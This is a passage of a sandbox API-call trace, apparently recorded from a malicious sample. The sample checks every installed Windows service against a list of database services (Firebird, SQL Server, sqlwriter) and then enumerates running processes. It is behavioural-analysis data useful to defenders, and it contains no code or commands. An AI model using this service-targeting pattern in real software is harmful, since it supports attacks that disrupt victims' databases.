lpString2="CDPSvc") returned 1 [0181.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0181.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0181.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0181.635] lstrlenW (lpString="ClickToRunSvc") returned 13 [0181.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0181.635] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0181.635] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0181.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0181.635] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0181.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0181.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0181.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0181.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0181.636] lstrlenW (lpString="CryptSvc") returned 8 [0181.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0181.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0181.636] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0181.636] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0181.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0181.636] lstrlenW (lpString="DcomLaunch") returned 10 [0181.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0181.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0181.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0181.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0181.636] lstrlenW (lpString="DeviceAssociationService") returned 24 [0181.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0181.636] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0181.636] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0181.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0181.637] lstrlenW (lpString="Dhcp") returned 4 [0181.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0181.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0181.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0181.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0181.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0181.637] lstrlenW (lpString="Dnscache") returned 8 [0181.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0181.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0181.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0181.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0181.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0181.637] lstrlenW (lpString="DPS") returned 3 [0181.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0181.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0181.637] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0181.637] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0181.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0181.637] lstrlenW (lpString="DusmSvc") returned 7 [0181.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0181.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0181.637] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0181.637] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0181.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0181.638] lstrlenW (lpString="EventLog") returned 8 [0181.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0181.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0181.638] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0181.638] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0181.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0181.638] lstrlenW (lpString="EventSystem") returned 11 [0181.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0181.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0181.638] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0181.638] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0181.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0181.638] lstrlenW (lpString="FontCache") returned 9 [0181.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0181.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0181.638] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0181.638] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0181.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0181.638] lstrlenW (lpString="gpsvc") returned 5 [0181.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0181.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0181.639] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0181.639] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0181.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0181.639] lstrlenW (lpString="iphlpsvc") returned 8 [0181.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.639] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0181.639] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0181.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0181.639] lstrlenW (lpString="KeyIso") returned 6 [0181.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0181.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0181.639] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0181.639] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0181.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0181.639] lstrlenW (lpString="LanmanServer") returned 12 [0181.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0181.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0181.639] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0181.639] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0181.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0181.639] lstrlenW (lpString="LanmanWorkstation") returned 17 [0181.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0181.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0181.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0181.978] lstrlenW (lpString="lfsvc") returned 5 [0181.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0181.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0181.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0181.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0181.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0181.978] lstrlenW (lpString="lmhosts") returned 7 [0181.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0181.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0181.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0181.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0181.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0181.978] lstrlenW (lpString="LSM") returned 3 [0181.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0181.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0181.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0181.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0181.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0181.978] lstrlenW (lpString="MpsSvc") returned 6 [0181.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0181.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0181.979] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0181.979] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0181.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0181.979] lstrlenW (lpString="NcbService") returned 10 [0181.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0181.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0181.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0181.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0181.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0181.979] lstrlenW (lpString="netprofm") returned 8 [0181.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0181.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0181.979] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0181.979] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0181.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0181.979] lstrlenW (lpString="NgcSvc") returned 6 [0181.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0181.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0181.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0181.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0181.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0181.979] lstrlenW (lpString="NlaSvc") returned 6 [0181.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0181.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0181.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0181.980] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0181.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0181.980] lstrlenW (lpString="nsi") returned 3 [0181.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0181.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0181.980] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0181.980] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0181.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0181.980] lstrlenW (lpString="PcaSvc") returned 6 [0181.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0181.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0181.980] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0181.980] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0181.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0181.980] lstrlenW (lpString="PlugPlay") returned 8 [0181.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0181.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0181.980] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0181.980] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0181.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0181.980] lstrlenW (lpString="Power") returned 5 [0181.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0181.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0181.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0181.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0181.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0181.981] lstrlenW (lpString="ProfSvc") returned 7 [0181.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0181.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0181.981] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0181.981] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0181.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0181.981] lstrlenW (lpString="RpcEptMapper") returned 12 [0181.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.981] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0181.981] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0181.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0181.981] lstrlenW (lpString="RpcSs") returned 5 [0181.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0181.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0181.981] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0181.981] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0181.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0181.981] lstrlenW (lpString="SamSs") returned 5 [0181.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0181.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0181.982] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0181.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0181.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0181.982] lstrlenW (lpString="Schedule") returned 8 [0181.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0181.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0181.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0181.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0181.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0181.982] lstrlenW (lpString="SecurityHealthService") returned 21 [0181.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.982] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0181.982] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0181.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0181.982] lstrlenW (lpString="SENS") returned 4 [0181.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0181.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0181.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0181.983] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0181.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0181.983] lstrlenW (lpString="ShellHWDetection") returned 16 [0181.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.983] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0181.983] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0181.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0181.983] lstrlenW (lpString="Spooler") returned 7 [0181.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0181.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0181.983] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0181.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0181.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0181.983] lstrlenW (lpString="StateRepository") returned 15 [0181.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0181.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0181.983] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0181.983] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0181.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0181.983] lstrlenW (lpString="SysMain") returned 7 [0181.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0181.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0181.983] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0181.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0181.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0181.984] lstrlenW (lpString="SystemEventsBroker") returned 18 [0181.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0181.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0181.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0181.984] lstrlenW (lpString="Themes") returned 6 [0181.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0181.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0181.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0181.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0181.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0181.984] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0181.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.984] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0181.984] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0181.985] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0181.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f4 [0181.992] Process32FirstW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.993] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.994] lstrlenW (lpString="System") returned 6 [0181.994] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.994] lstrlenW (lpString="smss.exe") returned 8 [0181.994] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.995] lstrlenW (lpString="csrss.exe") returned 9 [0181.995] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.997] lstrlenW (lpString="wininit.exe") returned 11 [0181.997] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.997] lstrlenW (lpString="csrss.exe") returned 9 [0181.997] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.998] lstrlenW (lpString="winlogon.exe") returned 12 [0181.998] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.998] lstrlenW (lpString="services.exe") returned 12 [0181.999] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.999] lstrlenW (lpString="lsass.exe") returned 9 [0181.999] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.000] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.000] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0182.000] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0182.000] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.001] lstrlenW (lpString="svchost.exe") returned 11 [0182.001] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.001] lstrlenW (lpString="svchost.exe") returned 11 [0182.002] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0182.002] lstrlenW (lpString="dwm.exe") returned 7 [0182.002] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0182.003] lstrlenW (lpString="svchost.exe") returned 11 [0182.003] Process32NextW (in: hSnapshot=0x3f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, 